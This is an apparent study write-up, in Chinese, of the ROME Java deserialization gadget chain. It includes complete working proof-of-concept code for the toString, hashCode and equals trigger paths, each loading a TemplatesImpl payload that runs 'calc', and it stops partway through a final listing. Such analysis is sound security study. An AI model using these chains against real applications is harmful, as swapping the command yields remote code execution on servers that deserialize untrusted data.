Rome链

Java反序列化调用链之Rome链

Rome链

RMOE 是一个用于RSS 和 Atom 订阅的Java框架。它是开源的。

它是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或Java对象。

环境准备

环境依赖:

1
2
3
4
5
<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

测试环境:

  • JDK 8u411
  • rome 1.0

需要了解的类

ToStringBean

这个类位于com.sun.syndication.feed.impl.ToStringBean,这个类主要就是看他的toString方法。

他有两个toString()方法,前一个是无参的public类型的方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public String toString() {
        Stack stack = (Stack)PREFIX_TL.get();
        String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
        String prefix;
        if (tsInfo == null) {
            String className = this._obj.getClass().getName();
            prefix = className.substring(className.lastIndexOf(".") + 1);
        } else {
            prefix = tsInfo[0];
            tsInfo[1] = prefix;
        }

        return this.toString(prefix);
    }

后面一个就是有参的private类型的方法,源代码为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);

        try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } catch (Exception var8) {
            sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
        }

        return sb.toString();
    }

先简单了解一下,后面再细说。

ObjectBean

这个类位于com.sun.syndication.feed.impl.ObjectBean,它是Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个Object 对象实例进行封装: image-20250122141107196

现在着重于看这个类中的方法,这里有三个方法可以利用,下面分别说明一下:

toString()

ObjectBean类的toString()方法源代码如下:

image-20250122141058961

所以这里会调用ToStringBean类的toString()方法,前面说过ToStringBean有两个toString()方法,这里是没有传入参数的,所以调用的是ToStringBean的第一个toString()方法。

image-20250122141051902

并且可以看出最后调用的是第二个toString并传入了prefix,这里简单分析一下图中我画红线两段代码,其实就是获取我传入的类实例的名字。看下面代码就能看懂:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package org.example;


public class Haha {
    public static void main(String[] args) throws Exception {
        String prefix;
        Haha _obj =new Haha();
        String className = _obj.getClass().getName();
        System.out.println(className);
        prefix = className.substring(className.lastIndexOf(".") + 1);
        System.out.println(prefix);
    }
}

结果为:

1
2
org.example.Haha
Haha

基本就知道了,就是用来获取类名的。

——————

现在我们再来看第二个toString()方法,重点分析其中的一部分代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        }

1.先看BeanIntrospector.getPropertyDescriptors(this._beanClass),我们点开源代码看一下:

image-20250122141037209

这里用到了_introspected变量,我们可以看一下这个变量的赋值: image-20250122141028092

可以看到这里就直接将这个变量赋值为了HashMap类的实例。继续看getPropertyDescriptors方法,逐行来看:

1
PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));

所以这里会调用HashMap的get方法,来获取kclass对应的值。

再来看一下我们在实例化ObjectBean时调用的ToStringBean类的构造方法: image-20250122141019667

所以这里的kclass对应的_beanClass的类型是一个Class类对象。

——————

继续getPropertyDescriptors方法,很明显我们并没有往BeanIntrospector的HashMap中放入任何值,所以这里的get()返回的肯定是null。

所以顺理成章进入到if语句,如下代码:

1
2
3
4
if (descriptors == null) {
            descriptors = getPDs(klass);
            _introspected.put(klass, descriptors);
        }

这里会先调用getPDs()方法,然后再将这个kclass和getPDs的结果put进HasMap里形成一个键值对。

现在再来看这里调用的getPDs(): image-20250122141010442

这个方法大概就是获取这个Class对象所有的getter和setter然后打包成数组返回。

所以这个方法最终会将这个Class对象和它的setterr和getter打包成键值对放入BeanIntrospector类的HashMap中。

最后会将这个数组返回:

image-20250122141001898

所以这里的getPropertyDescriptors()方法就是获取我们传入的Class对象的getter和setter方法,逻辑还是挺好看懂的,如果HashMap中有相对应的键值对就直接以数组形式返回setter和getter方法,没有的话就重新找然后返回。

————————

2.继续看toString()方法,现在得到了结果,假设我们传入的Class有getter和setter,那么getPropertyDescriptors()方法返回的就不为null,即pds不为null,成功进入if条件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }

现在就是重点分析if语句内的java语句了。

对于这个for循环,只要能进入if语句就能进行至少一次for循环(因为数组中只要有一个值那么length就为1),继续看后面的代码: image-20250122140952032

然后这里的 getReadMethod() 方法是获取Class对象的getter方法,如果正确获取到了get方法,应该就可以通过里面的if条件,然后就可以调用到invoke方法,这里的NO_PARAMS变量的值也是固定的,如下: image-20250122140932966

这里可以把new Object[0]理解成类似于null这种,然后就可以正常调用getter方法获取值。

现在就出来了一条链,类似CB链这种,现在就可以利用到TemplateImpl类的getOutputProperties()方法: image-20250122140923781

这样就可以直接构造攻击了。现在就可以先去看攻击构造的toString部分了.

hashCode()

再粘过来一下ObjectBean的构造方法:

image-20250122140915047

这里ObjectBean类的hashCode()方法源码如下:

image-20250122140907377

然后从上面的初始化方法可以看出这里会调用 _equalsBean 变量对应的EqualsBean类实例的beanHashCode() 方法,源码如下: image-20250122140859844

这里就又是一个触发toString()方法的地方,并且这个EqualsBean类的_obj变量是可控的: image-20250122140852350

前面的判断语句就是看我传入的参数obj是否是beanClass类的实例,是的话就返回true,反之依然,由于!,所以这里我们传入的obj需要是beanClass的实例。只要我们将这里的Obj又控制为一个恶意ObjectBean类实例即可。

现在就又可以构造一个利用链了。这里是用的HashMap来构造。现在就可以直接去看攻击构造的hashCode()那一步了。

equals()

同样的再次把ObjectBean构造方法粘过来一下: image-20250122140843363

现在来看这个类的equals()方法: image-20250122140825990

所以这里会调用EqualsBean类的beanEquals()方法,方法重点源码如下:

image-20250122140818245

这里的代码和前面的toString()方法大相径庭,还是获取一个类的getter和setter方法,然后调用invoke()方法。

现在的想法就是对前面的if条件的判断,如下: image-20250122140810409

前面很好进,主要就是我重点标注的地方。这里就是要求我们传入的obj是 _beanClass 的实例。这个简单,传一个impl进去就行。

先来看我们如何调用这个equals()方法。正好我们的CC7中就有利用到equals()方法。这里就是用Hashtable类。

后续就可以直接去看攻击构造了。

攻击构造

toString()

前面说的已经非常清楚了。还是挺简单的。

那么还是利用动态加载字节码。基本盘: Test.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package org.example;

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet  {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

Main.java部分:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

现在就是接入链子。

主要就是想在哪里可以调用ObjectBean的toString()方法。而在CC5中用到的BadAttributeValueExpException类反序时就可以调用到toStirng方法(这个类位于javax.management.BadAttributeValueExpException):

image-20250122140750445

在CC5我们就说了这里的valObj其实对应的就是序列化的变量val,所以我们控制这个变量为ObjectBean()即可,使用反射来更改val的值即可,那么构造的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;

import com.sun.syndication.feed.impl.ObjectBean;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        BadAttributeValueExpException haha = new BadAttributeValueExpException("fupanc");
        ObjectBean x1 = new ObjectBean(TemplatesImpl.class,impl);

        setFieldValue(haha,"val",x1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(haha);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

弹不了,然后我去看了一下其他师傅的文章,发现这里不能用TemplatesImpl.class,而是Templates.class,关系如下: image-20250122140740569

在Templates.class中有个接口,里面就有我们要利用的getOutputProperties:

image-20250122140732767

所以我们就可以使用Templates.class来获取到这个getter方法。

那么为什么我们要使用这个呢?明明逻辑上没有问题,TemplatesImpl.class就是有问题呢?

先给POC,然后我们再调试看看。

所以最终POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;

import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        BadAttributeValueExpException haha = new BadAttributeValueExpException("fupanc");
        ObjectBean x1 = new ObjectBean(Templates.class,impl);

        setFieldValue(haha,"val",x1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(haha);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

现在来解决一下之前的问题。我打断点如下:

image-20250122140722441

确实成功直接获取到了我们想要利用的getOutputProperties()方法,但是当我如下打断点:

image-20250122140713091

然后调试,发现这里并不会进入到这个语句。这让我想到了之前CC5个人思考那里的问题,在我们动态加载字节码的时候,由于其中的过程,导致了在中间某一步直接报错退出。

结合这个,我们来想一下如果利用TemplatesImpl.class,因为TemplatesImpl.class中的getter不止一个,所以其实很有可能在其中某个getter直接报错退出了,导致我们没能成功利用到想用的getOutputProperties()方法。

然后我们再用原先错误的TemplatesImpl.class调试一下,还是打断点如下: image-20250122140705151

当调用到getStylesheetDOM()时,invoke那里确实就直接报错退出到catch部分了: image-20250122140655861

这个getStylesheetDOM()方法如下: image-20250122140646840

——————

OK,问题解决。

所以注意:后面这里记到用Templates.class,而不是TemplatesImpl.class。

hashCode()

这里是用的HashMap,但是同样的应该HashSet和Hashtable也行,这三个都是有hashCode链的。分析一下HashMap类: 同样的基本盘:

Test.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package org.example;

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet  {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

Main.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

现在就是接入HashMap。

还是很简单的。

就是为了触发恶意ObjectBean的toString()方法,POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import javax.xml.transform.Templates;

import com.sun.syndication.feed.impl.ObjectBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ObjectBean bean = new ObjectBean(Templates.class,impl);

        HashMap hashMap = new HashMap();
        ObjectBean x = new ObjectBean(ObjectBean.class,bean);
        hashMap.put(x,"fupanc");

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功按照预期弹出两个计算机。(序列一个,反序列化一个)

但是好像还是有点问题,构思一下,如何在反序列化的时候只弹出一个计算机:

正常来说肯定会在序列化前的那个put()方法会调用一次完整的链,那里会导致异常输出,所以并不能成功利用。

现在来看看在toString()方法获取getter并调用的代码:

image-20241018215336589

我想到了一个点,是否可以让这里的pds为null,从而在序列化前不进入if条件从而不会调用到getter方法,在put方法过后再反射修改值呢?

那么这个pds变量的赋值也是分析过的,所以可以尝试找没有getter和setter方法的class对象?

主要是要满足如下条件:

image-20250105180302639

也就是这个EqualsBean类实例化时必须满足相对应的实例。找了一下没找到。

其实具体的方法可以参考后面的equals()方法链的解决方法,具体想法可以先看后面,这里就给一个POC后再简单说明:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import javax.xml.transform.Templates;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean bean = new ToStringBean(Templates.class,impl);

        EqualsBean x = new EqualsBean(String.class,"fupanc");

        HashMap hashMap = new HashMap();
        hashMap.put(x,"fupanc");

        setFieldValue(x,"_beanClass",ToStringBean.class);
        setFieldValue(x,"_obj",bean);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

简单说明一下,这里将ObjectBean类都换成了相对应的类,并且其实这里最终调用的都是相对应的类:

image-20250106175004027

对于这里的hashCode(),其实调用的就是EqualsBean类的beanHashCode()方法:

image-20250106175045749

也就是漏洞触发点:

image-20250106175138908

在这里,我是将EqualsBean赋值时也是相对应的String.class和"fupanc",符合EqualsBean类的构造函数方法,主要的不同点就是上面的beanHashCode()方法,原先的POC中是会直接调用到toString()方法触发一次调用链的,但是在这里,我将这个_obj变量赋值为了一个字符串实例,所以这里就是一个单纯的算hash的过程:

image-20250106175508437

那么后续就是成功往hashMap中放进了键值对,然后在反序列化时也是符合预期的:

image-20250122140626020

并且运行后只在反序列化时弹出一个计算机,成功修改。

等如HashSet、Hashtable基本都差不多,如果过滤HashMap时要想到这些。

equals()

还是先来给出基本盘: Test.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package org.example;

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet  {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

Main.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

现在还是来想如何将基本盘接入Hashtable类。

重点还是在于readObject()调用的reconstitutionPut(): image-20250122140612239

下面来分析一下。

先从序列化过程说起。再总结一下前面的需求: 1.首先就是调用到的ObjectBean的equals()方法,现在着重看参数image-20250122140555188

这里传入的other参数,继续看beanEquals()方法: image-20250122140544378

也就是这里的obj,单纯对obj来说就这前面的利用,由于我们想要正常利用后面的invoke()方法,所以需要满足this._beanClass.isInstance(obj),这样才会进入else执行我们想用的代码。在这里我会尝试传入一个TemplatesImpl实例,但是真正利用的却并不是这个传入的TemplatesImpl类实例,看利用代码:

image-20250106164215799

也是之前一直说的,动态加载字节码后会直接报异常然后退出,所以这里真正利用到的其实只是这个bean1,而这个bean1对应的是_obj这个变量,那个这里的bean1,也就是我们构造的参数传递的值,起的真正作用是什么,就是为了满足this._beanClass.isInstance(obj),也就只有这个作用了,具体参数传递后面会讲,作用也就是这个。

2.现在再来看一下Hashtable的put方法:

image-20250122140534016

如何触发equals()方法,自己想了一下,本来想直接传入ObjectBean类实例的,但是对于这里的hash相等不一定。

看了一下nivia师傅的文章,调用的是HashMap的equals()方法,这个equals()方法调用过程是和CC7的那条链差不多的。

现在再来看一下HashMap的equals()调用过程:

HashMap父类AbstractMap的equals()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

在这个方法代码里面还有一处是调用的equals

image-20250122140517843

就是这里,只要控制这里的value为ObjectBean类实例即可。

结合前面的需求,我们需要传入两个,一个是HashMap类实例,还有个就是TemplatesImpl类实例,但是看这里参数的传递,其实就是m.get(key)得到的值就是对应前面说过的ObjectBean类的equals()方法的other,然后这里的m又是对应的传入的o:

image-20250122140509825

即: image-20250122140452217

这里的key。

所以现在我们是需要传入两个HashMap类实例,然后这里对第二个HashMap类调用get时可以返回一个TemplatesImpl类实例。所以我们需要put进去。

这里总结一下前面的需求

  • value赋值为ObjectBean类实例

  • 传入两个HashMap类实例并且需要有TemplatesImpl类实例的值。

问题解决:

  • value的赋值问题

image-20250122140443169

就是这个,所以我们还需要给HashMap传进去一个ObjectBean类实例的值。同时在CC7学习中,我们可以知道这里的e是hashMap0(假设会向Hashtable中传入hashMap0和hashMap1),这也是为什么在CC7那里要移除yy的原因。

根据这个,我们的两个HashMap类就需要有逻辑。直接给代码:

1
2
3
4
5
6
7
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);

HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);

比如说当前面拿到的第一个HashMap的key和value分别为zZ和bean,那么此时对于我们的第二个HashMap调用的就是get(“zZ”),而我们这里需要的是impl,所以在第二个HashMap的键值对中我们就需要将键zZ的值设置为impl,所以这里也是需要反着来的原因。

那么又是为什么要两个呢?

按理说应该如下代码就行了:

1
2
3
4
5
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);

HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);

这样不就已经对应了吗。这就与hash值相等有关系了,继续看后面。

  • hash值相同的问题

在前面也说过了,会传入两个HashMap类,所以会调用HashMap的父类AbstractMap的hashCode()方法,在CC7也有说过,过程中需要注意的点就是: image-20250122140432707

在生成哈希码的时候需要考虑到key和value

毋庸置疑yy和zZ本身就已经哈希碰撞相同了。在我们之前的提出的疑问:为啥设置两个,这里就能给出答案:像前面那样只设置一个,key是相同了,但是这里的value是肯定不相同的

所以我们需要设置两个:

1
2
3
4
5
6
7
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);

HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);

——————

现在就可以尝试一下构造代码了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;

import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ObjectBean bean = new ObjectBean(Templates.class,impl);
        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",bean);
        hashMap0.put("yy",impl);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",impl);
        hashMap1.put("yy",bean);

        hash.put(hashMap0,1);
        hash.put(hashMap1,1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

运行后只弹出一个计算机,那么只能是序列化的时候弹出来的,打断点调试一下,发现确实是都没有进入序列化部分,并且是无法放入第二个键值对的:

image-20250106164718550

解决方法,还是反射更改,代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;

import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean;

